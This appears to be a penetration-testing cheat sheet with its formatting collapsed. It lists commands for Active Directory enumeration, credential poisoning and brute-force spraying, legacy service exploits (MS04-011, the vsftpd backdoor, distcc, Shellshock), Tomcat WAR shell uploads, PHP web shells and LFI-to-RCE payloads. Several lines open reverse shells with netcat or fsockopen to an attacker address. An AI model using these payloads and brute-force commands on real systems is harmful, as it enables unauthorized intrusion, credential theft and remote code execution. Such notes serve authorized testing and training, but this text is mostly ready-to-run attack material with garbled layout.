# Connect as anon user and no-pass rpcclient -U "" -N <ip/host> # Also try -U "%" # -p <port> - Use instead of 139 enumdomusers # Enum Domain Users enumdomgroups # Enum Domain Groups querygroup <rid> # Group Info querygroupmem <rid> # and Membership queryuser <rid> # User/computer info # Includes pass attempts/cooldown # Info about passwords in... getdompwinfo # the domain getusrdompwinfo <rid> # usr account
- Simple password bruteforce:
while read p; do rpcclient -U "<usr>%$p" -c 'getusername;quit' <ip/host> 2>&1 | grep -q '<usr>' && { echo "Valid pass: $p"; break; }; done < rockyou.txt # Password-spray by iterating over # the users with just one password
- Impacket tool: DCE/RPC endpoint mapper
rpcdump.py [[dom/]user[:pass]@]<dst> # dst can be: # - IP # - NetBIOS name # -target-ip <ip> (if dst: NB name) # -port <port>
- Site - MS proto poison & collect creds
# Capture <iface> - Listen only responder -A -v -I <iface> # Capture <iface> - Poison features responder -wrf -v --lm -I <iface> # -e <ip> - Poison req with <ip> # -b - Basic HTTP auth # -u <proxy> - WPAD upstr HTTP proxy # -P - Force proxy auth # -d - Answer NB dom suffix # -F - Force wpad.dat auth # --disable-ess - ESS downgrade
- Crack the hashes as-is with
john
orhc
- From openldap (utils) - Search LDAP
# -x uses simple auth ldapsearch -x -H ldap://<ip/domain> -s base # -w <pass> - Pass for simple auth # Only return specific attributes ldapsearch -x -H ldap://<ip/domain> -s base namingcontexts # ^ Finds all domain names
- Site - Dump AD info via LDAP
# Leave creds empty for anonymous ldapdomaindump -u '<dom>\<user>' -p '<pass>' --no-html --no-grep <ip> # <ip> can be ldap[s]://<ip>:<port> # -at SIMPLE - Use simple Auth # -o <dir> - Output directory # -r - Resolve hostname # -m - Dump minimal info # Pretty print JSON output ldd2pretty --directory <path> # Read html output if --no-json cat domain_*.html | w3m -T text/html
- Site - Enum users + brute/spray creds
# Enum valid users kerbrute userenum --dc <dc-ip/domain> -d <domain> <usrlist> # dc-domain & domain may be the same # Spray password kerbrute passwordspray --dc <dc-ip/domain> -d <domain> <usrlist> <pass>
- Site (Impacket) - Get non-preauth TGTs
# Get TGTs for list of users GetNPUsers.py -dc-ip <ip> <domain>/ -usersfile <usrfile> -format <hashcat|john> -outputfile <file> # Get TGTs for all domain users GetNPUsers.py -dc-ip <ip> <domain>/<user>:<passwd> -request -format <hashcat|john> -outputfile <file>
- Site (Impacket) - List all usernames:
GetADUsers -all -dc-ip <ip> <domain>/<usr>:<pass> # -hashes <LM>:<NT> - NT auth
- Site - Remote shell - Port 5985:
# Check the Site for extra features evil-winrm -u '[<domain>\]<user>' -p '<pass>' -i <ip> # Login with NTLM hash (not NTLVv2) evil-winrm -H '<ntlm-hash>' -i <ip> # -S - enable ssl # -P <port> - Other than 5985 port # -s <path> - Load local PS scripts # -e <path> - Load local C# exes # -U <uri> - URI path to /wsman # -r <dom> - Kerberos realm domain # upload - Upload local files # download - Download remote files # services - Show running services # menu - Show extra features: # [Dll|Donut]-loader | Invoke-Binary
- Usage - best standalone Renderer:
# Add -dump to not start pager w3m <url> # Use -T text/html with files # Cookies are in Netscape format HOME=/tmp w3m -cookie <url> # Cookies are in /tmp/.w3m/cookie # For insecure sites you may try w3m -insecure <url> # Or w3m -o ssl_cipher='ALL:@SECLEVEL=0' -o ssl_min_version='TLSv1.0' -o ssl_forbid_method='' -o ssl_verify_server=0 <url> # As a last resort pipe curl curl -s <url> | w3m -T text/html
- Site - Renders JS - Requires Firefox:
# Needs mouse support for clicks browsh <url> # Alt: --firefox.path "firefox-esr"
- Use the vim-mode experimental branch
- Or install Vim-Vixen in GUI mode
- Preserves links:
# Add -dump to not start pager lynx <url> # Use -force_html to force parsing
- Headers + body:
curl -i <url>
- Headers only:
curl -I <url>
- Response size only:
curl -s -w '%{size_download}' <url>
- Follow redirection:
curl -L <url>
- Connect to old SSL/TLS sites:
curl -1 --ciphers 'DEFAULT:!DH' -k <url>
curl --trace
parser: curl-trace-parser
- Site - Curl+Wget+JSON CLI - Docs:
# GET request with parameteres http <url> 'q==hi' 'sort==3' # POST request URLencoded http -F -f <domain-ip>/<path> 'u=me' # -F to follow | -f use "form mode" # --all to show all redirects # Check request without sending it http --offline <domain-ip> # Upload a file (default is POST) https PUT <domain-ip> < '<file>' # Perfrom LFI check http --path-as-is <domain-ip>/../../../etc/passwd # Response headers in JSON https -h -j <domain-ip> # -p Hh to print Resquest & Response # Store/Use session (cookies) - JSON http --session=<path> <domain-ip> # HTTP Auth http -a <user:pass> <domain-ip> # -A basic/digest for Auth type # --proxy=<method>:<url>
- CurliPie - Convert
curl
toHTTPie
- HTTP Prompt - Interactive
HTTPie
- Dochttp-prompt <url> <httpie-options> # Supports everything HTTPie does env # Show flags set cd <uri> # Move to parent/child URI httpie # Show what will get run rm -o * # Remove all HTTPie options post # Perform POST request rm -b * # Remove all "body options" # Remember: -f -F --session <file> # to be able to perform cd <uri> get | w3m -T text/html # Pipe GET env > <file> # Save session to file source <file> # Load session exec <file> # Replace&Load session # Start from session http-prompt --env <session> <url>
- Query site:
echo -ne "GET /<path> HTTP/1.0\r\nHost: <domain>\r\n\r\n" | openssl s_client -connect <site>:443 -verify_quiet -quiet 2>/dev/null | sed -n '$G;1,/^\s*$/!P' # For file downloading: sed '1,/^\s*$/d'
- Query site:
{ echo -ne "GET /<path> HTTP/1.0\r\nHost: <ip-dom>\r\n\r\n" >&3; sed -n '$G;1,/^\s*$/!P' <&3; } 3<>/dev/tcp/<ip-domain>/80 # For file downloading: sed '1,/^\s*$/d'
- Core Perl:
# Remove $/="\r\n"x2 to show the headers perl -MSocket -e '$"=",";socket$s,2,1,6;$$_[2]=qq/pack"$$_[2]"/,eval"setsockopt\$s,@$_"for[1,13,ii,1,5],[6,18,L,5000],map[1,$_,"l!2",5],20,21;connect$s,sockaddr_in+80,inet_aton$h="<ip-host>";send$s,"GET /<path> HTTP/1.0\r\nHost: $h\r\n\r\n",0;$/="\r\n"x2;<$s>;print<$s>' # If headers don't end in \r\n use: # 1until<$s>=~/^\s*$/;print<$s> # # For HTTP/1.1 add Connection: close # # The first socket call is equivalent to # socket$s,PF_INET,SOCK_STREAM, # getprotobyname("tcp") # Packed arrays structure: # [ <Sock-Level>, <Level-Opt>, <Rest*> ] # Sock-Level 1 -> SOL_SOCKET # Level-Opt 13 -> SO_LINGER # Level-Opt 20 -> SO_RCVTIMEO # Level-Opt 21 -> SO_SNDTIMEO # See man socket7,asm-generic/socket.h # Sock-Level 6 -> getprotobyname("tcp") # or Socket::IPPROTO_TCP # Level-Opt18 Socket::TCP_USER_TIMEOUT # See man tcp7 & ip7, and linux/tcp.h
- Use Nmap NSE http-methods:
# Select path: http-methods.url-path nmap --script=http-methods # Unsafe args: http-methods.test-all # Individually: http-methods.retest
- Different directories may support different methods:
# See first the helpers below while read p; do nmap -sT -n -Pn -T4 --min-rate=1000 --script=http-methods --script-args=http-methods.test-all,http-methods.url-path="/$p/" -p<port> <ip>; done < "<path-list>"
- Trim the domain from the URLs:
sed -n 's, *https\?://[^/]*/,,p' "<path-list>" > trim.paths
- Generate all the intermediary paths:
sed -n 's,/$,,;:a;p;s,/[^/]*$,,;ta' trim.paths | sort -u > all.paths
- Sites may deny files with specific extensions like
.php
but not.php5
- Assume you have a file with full URLs
# Without trailing slash: $,/, -> $,, sed 's, *https\?://,,;:a;s,/[^/]\+/\?$,/,p;ta' furls.txt | sort -u | httprobe > sdirs.txt # Alternative using Zsh builtins while read f; do while ! [[ "$f" =~ ".*<site.com>/$" ]]; do f="${f:h}/"; echo "$f"; done; done < furls.txt | sort -u > sdirs.txt
- Probe each subdir with
curl
:while read u; do while :; do { timeout 3 curl -ski -X OPTIONS "$u" 2>&1 || continue; } | { grep -v '^$' || continue; } | { grep -o '.*\<PUT\>' | sed "i[$u]"$'\na\n'; }; break; done; done < sdirs.txt # Might require GNU sed
- Use NSE http-put to upload files:
# Redirection cause false positives nmap -sS -n -Pn -T4 --min-rate=1000 --script=http-put --script-args=http-put.url="<dest-file-path>",http-put.file="<local-file-path>" -p<port> <ip> # Use the Identificaton for loop while read p; do nmap -sT -n -Pn -T4 --min-rate=1000 --script=http-put --script-args=http-put.url="/$p/<file.ext>",http-put.file="<local-file-path>" -p<port> <ip>; done < <fpaths> 2>&1 | grep "successfully"
- Usage:
curl -i 'Content-Type: text/plain; charset=utf-8' -T "<local-file-path>" http://<ip>/<dir>
- Download all files recursively:
# Don't recurse to the parent wget --no-parent -r <url/path> # and don't download index files wget --no-parent --reject "index*" -r <url/path>
- Used for persistent connections
- Can be used to bypass WAF TCP connection limits and DoS
- Check if the server supports it:
curl -H 'Connection: keep-alive' -I
- Test it with curl:
curl -v "<url>" "<same-url>"
patator
is able to do it but might not be the most efficient if the server allows reusing the CSRF token a few timeswfuzz
is also able to do it (and efficiently) via its python library using FuzzSession and modifying the.fuzz()
parameters via the Result Object
- All the other bruteforcers can obtain this feature via a proxy
- Burp Suite is able to do it although not in the most efficient way if the server allows reusing CSRF tokens a few times
- Mitmproxy is also able to do it (and efficiently) by checking for CSRF errors in the response, saving the CSRF token & repeating the request - see OAuth sample
- Site - Multi-protocol bruteforcer:
# [!] Don't add http:// to <ip> # Use -S for SSL or -O -> older SSL # Single user bruteforce hydra -l <usr> -P <wordlist> -f -e ns -s <port> <ip> http-post-form '/path/to/form:user=<user>&password=^PASS^:Invalid Password!' # -f -> exits when finding 1 combo # Form fields: user and password # <user>&<pass> taken from request # ^PASS^ is replaced by <wlist> # :F="Invalid Password!" if failure # Use :S=<success-str> otherwise # :A=(BASIC|NTLM|MD5) to set auth # :H=My\: Header to set headers # More info: hydra -U http-post
- Only ^USER^/^PASS^ get URL-encoded (ref), escape non-delimiter colons
- Hydra doesn’t like named pipes as wordlists, use zsh
=()
temp files - JSON/AJAX forms require headers (ref):
# JSON fields need double quotes hydra -L <userwl> -P <passwl> -e ns -s <port> <ip> http-post-form '/path/to/api/auth:{"user"\:"^USER^","pass"\:"^PASS^"}:{"success"\:false}:H=Content-Type\: application/json;charset=utf-8' # Add -u for spraying # Use curl's resp-body as Fail-cond # If more headers are required, do # escape : from the url http\://
- For JSON/AJAX use the latest master as there are two bugs in version < 9.3
- Site - Repo (fix) - Login bruteforcer
# Unable to filter codes/redirs medusa -h <ip/dom> -v 4 -b -M http -m "AUTH:BASIC" -m 'DIR:/<url>' -s -t 2 -e ns -U <wusr> -P <wpwd> # -v 4 - See successful only # -b - Hide banner # -t <num> - Thread number # -T <num> - Concurrent hosts # -L - Spray 1 user/thread # -M <module> - Choose module # -m <param> - Module parameter # -[dq] - Show modules/params # -s - Use SSL # -n <port> - Different port # -Z <key> - Resume using key # -e [ns] - Try Null/Same usr->pwd # -[up] <single-usr/pass> # -[Ff] - 1 valid combo Any/1 host # -H <host-list> | -C <combo-list>
- Adapt ffuf_basicauth from ffuf-scripts:
# Change to Digest or NTLM if needed ./ffuf_basicauth.sh <wusr> <pwd> | ffuf -w -:AUTH -H "Authorization: Basic AUTH" -fc 403 -c -u '<url>'
- Site - Multi-Purpose bruteforcer - raw
patator http_fuzz 'url=<url>' user_pass=FILE0:FILE1 0='<wusr>' 1='<wpwd>' -x ignore:code=401 # pathasis=1 - Send ../ as is # auth_type=basic - Default # auto_urlencode=1 - Default # persistent=1 - Default # > Change the 0 and 1 for spraying # # --allow-ignore-failures - Ignore... # -x ignore:code=xxx - Errors
- Used in Windows XP, also works in Win2k
- Check that the port 445 is open and that the
lsass.exe
(WinXP) ornetrap.dll
(Win2k) processes are running - Obtain the exploit through
searchsploit -m 295
or exploit-db - Add
#include <stdio.h>
- Compile it with:
i686-w64-mingw32-gcc 295.c -o ms04-011.exe -lws2_32
- Send it to the target an run it:
:: 0 -> WinXP ; 1/2 -> Win2k Pro/Serv ms04-011.exe 0 127.0.0.1 9090
- Connect to the port 9090 (locally) to obtain an admin shell
- There are some options for autodetect the OS (
-t
) and connect back to an IP (reverse-shell) instead of spawning the bind-shell but they weren’t tested
- Banner grab and interact:
nc -nv <ip> 21
- Commands:
# Log in USER <username> PASS <password> # The order may have to be reversed
- Connect:
# Use 'anonymous' or 'ftp' as name for anon user ftp <ip> # -P <port>
- Commands:
# OS (more or less system # Current path pwd # List files ls / dir # Change directory cd <dir> # Delete file del <file> # Set binary mode for transfers binary # Download get <file> # Upload put <local-file>
- Trigger: Username ending in
:)
:nc -nv <ip> <ftp-port> USER test:) PASS test
- Connect to backdoor:
nc -nv <ip> 6200 # Will only work if the firewall is # not blocking it # Note that it may still be the way # to elevate privileges from inside
- Using EID 45939 and
xargs
:< <userlist> xargs -P 10 -I {} python2 45939.py -p <port> <ip> {} 2>&1 | grep ' valid' # Unlimited procs kill the process
- Site - Multi-protocol bruteforcer:
# -s <alt-port> hydra -l <user> -P <pass-wlist> -e ns ssh://<server>
- OpenSSH with ForceCommand feature and bash < bash43-027
- OpenSSH 6.8 < 6.9
- EID 41173 - Local privEsc
- SSH with OpenSSL 0.9.8c-1 < 0.9.8g-9
- Get DSA or RSA common keys
- Grep for the authorized key:
grep -lr <auth-key> # .pub file detected
- Connect using the found private file:
ssh -i <non.pub> <user>@<ip>
- Check debian-ssh and our_tools dir
- Vterm codes:
# Paste as-is in a remote terminal # command ssh -F /dev/null <host>; cd . [ -n "${IP+x}" ] && OLD_IP="$IP" IP="$(expr "${SSH_CONNECTION}" : ".* \([^ ]*\) 22")" # Add others like pushd popd if used for c in cd chdir; do eval $c' () { { command '$c' $@; } && { printf "\e]51;A-:${USER}@'${IP}':%s\e\\" "${PWD}"; :; } }' done [ -z "${OLD_IP+x}" ] && unset IP || { IP="${OLD_IP}"; unset OLD_IP; } cd . # Multi-hop (accept host-key beforehand) # \e]51;Assh:<hop-user>@<hop-ip>#<port>|ssh:${USER}@'${IP}':%s\e\\ # Tmux escape: \ePtmux;\e\e]%s\007\e\\ # Screen escape: \eP\e]%s\007\e\\ # # Tmux multi-hop: # \ePtmux;\e\e]51;Assh:<hop-user>@<hop-ip>#<port>|ssh:${USER}@'${IP}':%s\007\e\\
- Connect to host
:: Inline password with -pw <pass> :: Different port with -P <port> plink.exe -ssh root@127.0.0.1
- Proxy through SOCKS4/HTTP (ref):
plink.exe -ssh -proxycmd "ncat --proxy-type http --proxy <proxy-ip>:<proxy-port> %host %port" root@127.0.0.1
- SSH proxy-hopping - How to
- List keys associated to private one:
ssh-keygen -l -f <r/dsa>
- Create public file from private:
ssh-keygen -y -f <r/dsa> > <r/dsa>.pub
- Set the right permissions to use with
-i
# Or 400 chmod 600 <r/dsa>.pub
- Export (to stdout) key in PEM format:
ssh-keygen -e -m PEM -f <r/dsa>
- Find the options that are/can be set:
ssh -G -o <options> root@127.0.0.1
- Ignore
ssh_config
and allow weaker algorithms:ssh -i <private-rsa/dsa> -p <port> -F /dev/null -o PreferredAuthentications=password -o PubkeyAuthentication=no -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -oKexAlgorithms=+diffie-hellman-group1-sha1 -ociphers=+aes128-cbc root@127.0.0.1
- Proxy through SOCKS5 (ref):
# Using OpenBSD nc ssh -o ProxyCommand='/usr/bin/nc -X 5 -x <proxy-ip>:<proxy-port> %h %p' <user>@<ip> # Using ncat ssh -o ProxyCommand='/usr/bin/ncat --proxy-type socks5 --proxy <proxy-ip>:<proxy-port> %h %p' <user>@<ip>
- SSH-hopping:
ssh -J <user-hop1>@<ip-hop1> <user>@<ip>
- SSH Control Sequences (ref):
# Only works after newlines # Disable: ssh -o EscapeChar='none' ~~ # Send Escape ~. # Terminate connection ~^Z # Background ssh (Ctrl-Z) ~C # Add commands: -D <socks-port>
- Using distcc NSE (ref):
nmap -sS -n -Pn --open -T4 --min-rate=1000 -p3632 --script=distcc-cve2004-2687 <ip>
- Remote Command Execution:
nmap -sS -n -Pn --open -T4 --min-rate=1000 -p3632 --script=distcc-cve2004-2687 --script-args="distcc-cve2004-2687.cmd='nc <local-ip> 8080 -e /bin/sh'" <ip>
- Enable access:
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /f /v fDenyTSConnections /t REG_DWORD /d 0 :: Check the firewall section for :: allowing the ports
- See the PowerShell way for enabling the RDP at the
Trick Configuration
section
- You may execute commands via netcat:
echo "AB; nc -e /bin/sh <attacker-ip> <port>" | nc 127.0.0.1 <IRC-port>
- sipvicious suite
- With svmap:
# Identify SIP servers svmap <ip/hostname> # Use -p to target different ports
- With svwar:
# Find working extensions svwar -m OPTIONS -e100-999 <ip/host> # Use -D instead of -e for defaults # Alternatively use: # - REGISTER -> May not always work # - INVITE -> Note: simulates a call # Use --force to bypass checks
- Proto/Cipher/Vulns - testssl.sh:
# Checks Heartbleed and others testssl.sh --full <url:port> # -E check cipher per protocol # --starttls smtp -> SMTPS checks
- Supported protocols Using sslscan:
sslscan <ip>
- Modify
/etc/ssl/openssl.cnf
:[system_default_sect] # > Old < # MinProtocol = TLSv1.2 # CipherString = DEFAULT@SECLEVEL=2 # > New < MinProtocol = None CipherString = None # > Or set explicit versions < # MinProtocol = TLSv1.0 # CipherString = DEFAULT@SECLEVEL=1
- Note that this has nothing to do with certificate validation and this varies per tool
- OpenSSL 1.0.1 < 1.0.1g
- Not vulnerable on those compiled with
-DOPENSSL_NO_HEARTBEATS
- attack.py
# Ask for 16385 memory bytes ./attack.py -l 0x4001 <ip-host> # Find private RSA key on port 4343 ./attack.py -p 4343 -e <ip-host>
- heartleech - Auto-RSA key finder
- heartbleed-tools - Multiple Tools
- heatbleed.js - Find RSA key + set ciphers
- pacemaker
- heartbleed.c - Client/Server Exploiter
- Site - Multi-protocol bruteforcer:
# Use -S for SSL or -O for older SSL hydra -s <port> smtp-enum://<ip>/VRFY -L <user-wlist> -p <domain> # EXPN & RCPT are VRFY alternatives # Use localhost as <domain>
- Site - Multi-protocol bruteforcer:
# Check the other auth type with: # hydra -U smtp hydra -L <user-wlist> -P <pass-wlist> -e ns -s <port> smtp://<server>/LOGIN # Use TLS: smtp://<server>/TLS:LOGIN # or with: smtps://<server>/LOGIN # Without module and single user hydra -l <user> -P <pass-wlist> -f -e ns -s <port> <server> smtp # Use -S for SSL or -O for older SSL
- Common email locations:
/var/mail/<user> /var/spool/mail/<user>
- Site - Perl multipurpose SMTP tool
# Send email - Exploit RCE swaks --to <user>@localhost --from test@test.net --header "Subject: test shell" --body 'SHELL-INIT:<pre> <?php system($_REQUEST["cmd"]); ?> </pre>:SHELL-END' --server <ip-port> # Or --port <port> for non-standard
- Same RCE exploit as
swaks
:# nc -nC can also work telnet <ip> <port> # Keep the <...> below around emails EHLO world MAIL FROM:<test@test.net> RCPT TO:<[user]@localhost> DATA # The body goes from here { Date: $(LC_ALL=C date) To: [user]@localhost From: test@test.net Subject: test shell Message-Id: <20210218153300.1486384@test> SHELL-INIT:<pre> <?php system($_REQUEST["cmd"]); ?> </pre>:SHELL-END . # } To here, where it automatically ends QUIT
- Docs - Builtin Python < 3.12
# DebuggingServer prints to stdout python3 -m smtpd -n -c DebuggingServer 0.0.0.0:25 # -n - Run as nobody # -c <class> - smtpd handler class/object
- Site - Builtin Python >= 3.12
# Prints to stdout as it defaults to: # -c aiosmtpd.handlers.Debugging python3 -m aiosmtpd -n -l 0.0.0.0:25 # -n - Run as nobody # -l <host:port> - Listen address # -u - Enable SMTPUTF8 ext # -c <class> - aiosmtpd handler class
telnet <ip/domain> 110
USER <username>
PASS <password>
# Undelete emails marked for deletion
RSET
# List emails
LIST
# Read email
RETR <mail-id>
QUIT
- Usage - Faster to bruteforce than SMTP
# Check the other auth type with: # hydra -U pop3 hydra -L <user-wlist> -P <pass-wlist> -e ns -s <port> pop3://<server>/CLEAR # Without module and single user hydra -l <user> -P <pass-wlist> -f -e ns -s <port> <server> pop3 # Use -S for SSL or -O for older SSL
- List methods:
curl -d '<?xml version="1.0"?> <methodCall> <methodName>system.listMethods</methodName><params></params></methodCall>' -H 'Content-Type: text/xml' <url>/xmlrpc.php
- Show method help:
curl -d '<?xml version="1.0"?> <methodCall><methodName>system.methodHelp</methodName><params><param><value> <string>system.listMethods</string></value></param></params> </methodCall>' -H 'Content-Type: text/xml' <url>/xmlrpc.php
- Site - Multi-Purpose bruteforcer - raw
# Best tool if system.multicall works # First check if system.multicall works curl -d @<(awk -vMULTI=1000 -vUSER='<user>' -vORS='' -vbegin='<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>' -vend='</data></array></value></param></params></methodCall>\n' 'BEGIN{print begin;++MULTI};!(NR%MULTI){print end begin}$0="<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>"USER"</string></value><value><string>"$0"</string></value></data></array></value></data></array></value></member></struct></value>";END{print end}' <dict> | head -n 1) -H 'Content-Type: text/xml' <url>/xmlrpc.php # If so, find the max MULTI allowed # Patator - 650 req 3 threads - 5 req/s # rockyou.txt takes around 1h # For more edit multiprocessing maxsize patator http_fuzz url='<path-to>/xmlrpc.php' header='Content-Type: text/xml' method='POST' auto_urlencode=0 body='PROG0' 0="/tmp/test.sh" --allow-ignore-failures -x ignore:code='xxx' -x ignore:fgrep!='blogid' -x quit:fgrep='blogid'-t 3 # Create /tmp/test.sh with the following #!/bin/sh # Set pipesize to patator multi maxsize perl -MFcntl -e 'fcntl+STDOUT,Fcntl->F_SETPIPE_SZ,10000' # Or set it on patator subprocess.Popen # pipesize flag at the ProgIter class exec awk -vMULTI=650 ... # From above # For a full perl ver see WordPress sect
- Site - Multi-protocol bruteforcer:
# Use the simplest xml-rpc method # <wlist> cannot be a pipe hydra -f -l none -P <wlist> <ip> https-post-form '/xmlrpc.php:<?xml version="1.0"?><methodCall><methodName>pfsense.check_firmware_version</methodName><params><param><value><string>^PASS^</string></value></param></params></methodCall>:failed:H=Content-Type\: text/xml' # You may have to limit concurrency # to avoid crashing the service: # -t <n-threads> | -T <n-threads>
systemd-timesyncd.service
controls NTP# Start the daemon systemctl start systemd-timesyncd.service # And/or timedatectl set-ntp true # See the time servers vi /etc/systemd/timesyncd.conf # Verify the configuration timedatectl show-timesync --all # Add a new server from an interface timedatectl ntp-servers <iface> <ip>
- Site - Synchronize system with NTP srv
# Does not require system/chrony ntpdate <ip>
- Site - Certificate searcher
- Wordlists:
- Mix them:
# Better use duplicut sort -u *.txt > all.txt
- Common log locations:
-- HTTP -- /var/log/httpd/access_log /var/log/httpd/error_log -- HTTPS -- /var/log/httpd/ssl_access_log /var/log/httpd/ssl_error_log /var/log/httpd/ssl_request_log
- Check custom locations in:
/etc/apache2/envvars
/etc/apache2/apache2.conf
- Find the default path of the server:
/etc/apache2/sites-enabled/000-default.conf
- Tomcat might be susceptible to URL poisoning to allow revealing its version on a 400 Bad Request error
- For example:
<site>/\
<site>/%5c
- Wordlists:
- ApacheTomcat.fuzz
- tomcat
- Also check the Apache ones
- Tomcat may be susceptible to URL poisoning to allow access to forbidden paths
- For example:
<site>/manager/status/..;/html
- Goes to
<site>/manager/html
- even if direct access result in 401
- Also check
<site>/manager;/status
- Plus
<...>/%252E%252E/manager/status
- And
<..>/;param=value/manager/status
- And use it as base for discovery
- To upload WAR files in
manager/html
tamper the POST request with a proxy - Or copy the full request from the browser’s Dev tools in
curl
format - for
host-manager/html
only UNC works - Remember that WAR files should be type
java/jsp_shell_reverse_tcp
when generating them withmsfvenom
- First check that the
/manager/
URI asks for authentication (if it doesn’t and returns permission denied it won’t work)w3m http://<ip:port>/manager
- Get the default credentials from SecLists and separate users from passwords:
# Users cut -d: -f1 tomcat-betterdefaultpasslist.txt | sort -u > users.txt # Passwords cut -d: -f2 tomcat-betterdefaultpasslist.txt | sort -u > passwords.txt
- Bruteforce the credentials with AJPy:
python2 tomcat.py --port <ajp-port> bf -U users.txt -P passwords.txt /manager/ <ip> # Maybe also check the HTTP port # and under /manager/html
- Check that the credentials are indeed valid:
python2 tomcat.py --port <ajp-port> list -u <user> -p <password> <ip> # Maybe also check the HTTP port
- It is possible to upload files with AJPy if permissions to access
/manager/
are obtained (prior section):# Create a .war java reverse shell python2 tomcat.py --port <ajp-port> upload -u <user> -p <password> <shell>.war <ip> # Maybe also check the HTTP port
- Check that the shell was deployed:
python2 tomcat.py --port <ajp-port> list -u <user> -p <password> <ip> # Maybe also check the HTTP port
- Now execute the remote shell:
# I couldn't check this, possibly # you can find it installed under # http://<ip>/manager/html/<app> # Or maybe this works: python2 tomcat.py --port <ajp-port> read_file --webapp=<app> / <ip>
- Metasploit
tomcat_mgr_upload
module worked with the HTTP port, but I couldn’t makeAJPy
work (with AJP port) - Note that the .war can be manually uploaded at
http://<ip>/manager/html
- Site - Go IIS shortname scanner:
# Add headers through --proxy <http> sns -c -u <url> # -t <n> - Limit threads: 1 -> safest # Multiple urls sns -c -f <(echo -e '<url1>\n<url2>')
- Site - Python IIS shortname scanner:
python3 main.py <url>
- Issue only existing in IIS <= 6
- Reference
- Use a semicolon in the extension:
<file>.asp;.jpg # Executed/Saved as <file>.asp
- Find the CGI login page (ie:
/session_login.cgi
) and identify one of the post fields (likeuser
) - Pay attention to the headers in place
- Perform a common login POST request using a
sleep
as User-Agent:() { :; };sleep 10 # In some cases sleep 10 alone works
- With
curl
:# -A '...' or -H 'User-Agent: <cmd>' # Remove -s if curl errors to check curl -A '() { :; };sleep 10' -H 'Cookie: testing=1; sid=x' -s 'https://<ip-port>/session_login.cgi' -d 'user=test' | w3m -T text/html -dump # -H "Cookie: ..." to bypass the: # Error - No cookies
- May be easier with burp or mitmproxy
- Important: Only builtins may be available, PATH is unset, use full path
- Note that any other script in the
/cgi-bin/
folder may also be susceptible to shellshock - Scripts there may even set a
text/x-sh
header (or broken ones), so add anecho;
before the test command
- Array types may break the form validation logic
- Simply change the form fields/params
- from
user=<user>
- to
user[]=<user>
- from
- Try changing only one at a time
- If PHPInfo is not exposed by the server but it is possible to inject PHP code, though not achieving RCE, consider calling the
phpinfo()
function to troubleshoot a bit - Check for the value of the
disable_functions
directive to see which functions might be preventing RCE - Check for the
$_SERVER['DOCUMENT_ROOT']
variable in case the way to achieve RCE is by writing a malicious file
<?php $out=shell_exec("<cmd> 2>&1"); echo "<pre>$out</pre>"; ?>
// Using GET cmd parameter
<?php echo "<pre>" . shell_exec($_GET["cmd"] . " 2>&1") . "</pre>"; ?>
// Using base64
<?php echo "<pre>" . shell_exec(base64_decode($_GET["cmd"])) . "</pre>"; ?>
// $_REQUEST is "like" $_GET + $_POST
// Reverse Shell
<?php $sock=fsockopen("<ip>", <port>); exec("/bin/sh -i <&3 >&3 2>&3"); ?>
// Use passthru with raw output
// Use pipes with popen or proc_open
- Docs - RCE through HTTP parameters:
# Plain text <url>?file=data://text/plain,<?php echo shell_exec("<cmd>"); ?> # Also try data://text/plain,[...] # Base64 <url>?file=data://text/plain;base64,<base64payload>
- LFI through HTTP parameters:
<url>?file=/etc/passwd # or forcing file <url>?file=file:///etc/passwd # SMB shares can be opened <url>?file=\\<ip>\share\evil.php
- RFI/RFE through HTTP parameters:
<url>?file=http://<domain/evil.php # or using php filter <url>?file=php://filter/resource=http://<domain/evil.php # or using ssh2, ftp, etc
- LFI RCE through POST data:
<url>?file=php://input # POST body <?= `<system-cmd>`; ?>
- LFI RCE through
/proc/self/environ
:# First check that environ has content <url>?file=/proc/self/environ # If so, inject in the variables <url>?file=/proc/self/environ&cmd=id # Inject headers User-Agent: <?= `$_GET['cmd']`; ?>
- LFI RCE through session cookies:
# First check the session cookie file <url>?file=/var/lib/php/sessions/sess_<PHPESSID-cookie> # If not there, check <? phpinfo(); ?> # for session.save_path # Or, if possible, execute: # <?= ini_get('session.save_path');?> # If empty, then try check for php.ini: # /etc/php<version>?/**/php.ini # Where ? mean no version: just php # and where ** could be: # A PHP version, such as 7.3 # a server, such as apache2 or fpm # middle software, such as cgi, cli # a combination of both: modern OS # Also can be /usr/local/lib/php.ini # Or, if possible, execute: # <?= php_ini_loaded_file(); ?> # Or: # <? print_r(php_ini_scanned_files());?> # Else the sessions could be under: # /var/lib/php<version>?/sessions?/ # /var/lib/php/mod_php/session/ # /var/tmp/ # /tmp/ # The tmp folders may have subfolders # If accessible and one of the cookies # appear in plaintext & can be modified # (such as username), change it to: <?= `$_GET['cmd']`; ?>
- LFI RCE through web logging:
# First locate the Apache logs <url>?file=/etc/apache2/apache2.conf <url>?file=/etc/apache2/envvars # Then check that the logs are readable <url>?file=/var/log/apache2/access.log <url>?file=/var/log/apache2/error.log # Access a payloaded URL <site>/<?php echo "<pre>" . shell_exec($_GET["cmd"] . " 2>&1") . "</pre>"; ?> # And read the log back <url>?file=/var/log/apache2/access.log&cmd=id
- Read local files + convert to base64:
<url>?file=php://filter/read=convert.base64-encode/resource=./index.php
- Zip + Phar upload LFI RCE:
# After uploading a Zip or Phar file <url>?file=zip://file.zip#evil.php <url>?file=phar://file.phar/evil.php # See the section below for phar files
- Expect wrapper also allows cmd exec:
# Test netcat, space is $IFS expect://nc$IFS10.0.0.1$IFS8080
- Command to create:
# Bypass default PHAR files creation php -c <(echo -e '[phar]\nphar.readonly = 0') create_phar.php
- Create for use in LFI
phar://
wrapper:<?php $filename = "test.phar"; $phar = new Phar($filename); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();"); $phar->addFromString("evil.php", '<?php echo `$_GET["cmd"] 2>&1`; ?>'); class MetadataStub {} $object = new MetadataStub; $phar->setMetadata($object); $phar->stopBuffering(); ?>
- Exploit PHAR deserialization:
// After localizing the class to exploit <?php require("vuln_class.php"); $filename = "test.phar"; $phar = new Phar($filename); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();"); $phar->addFromString("test.txt", "test"); $object = new VulnClass(); $object->vuln_func = "passthru"; $object->vuln_arg = "id"; $phar->setMetadata($object); $phar->stopBuffering(); ?>
- Embed a PHAR inside a JPG: see
- Simple example:
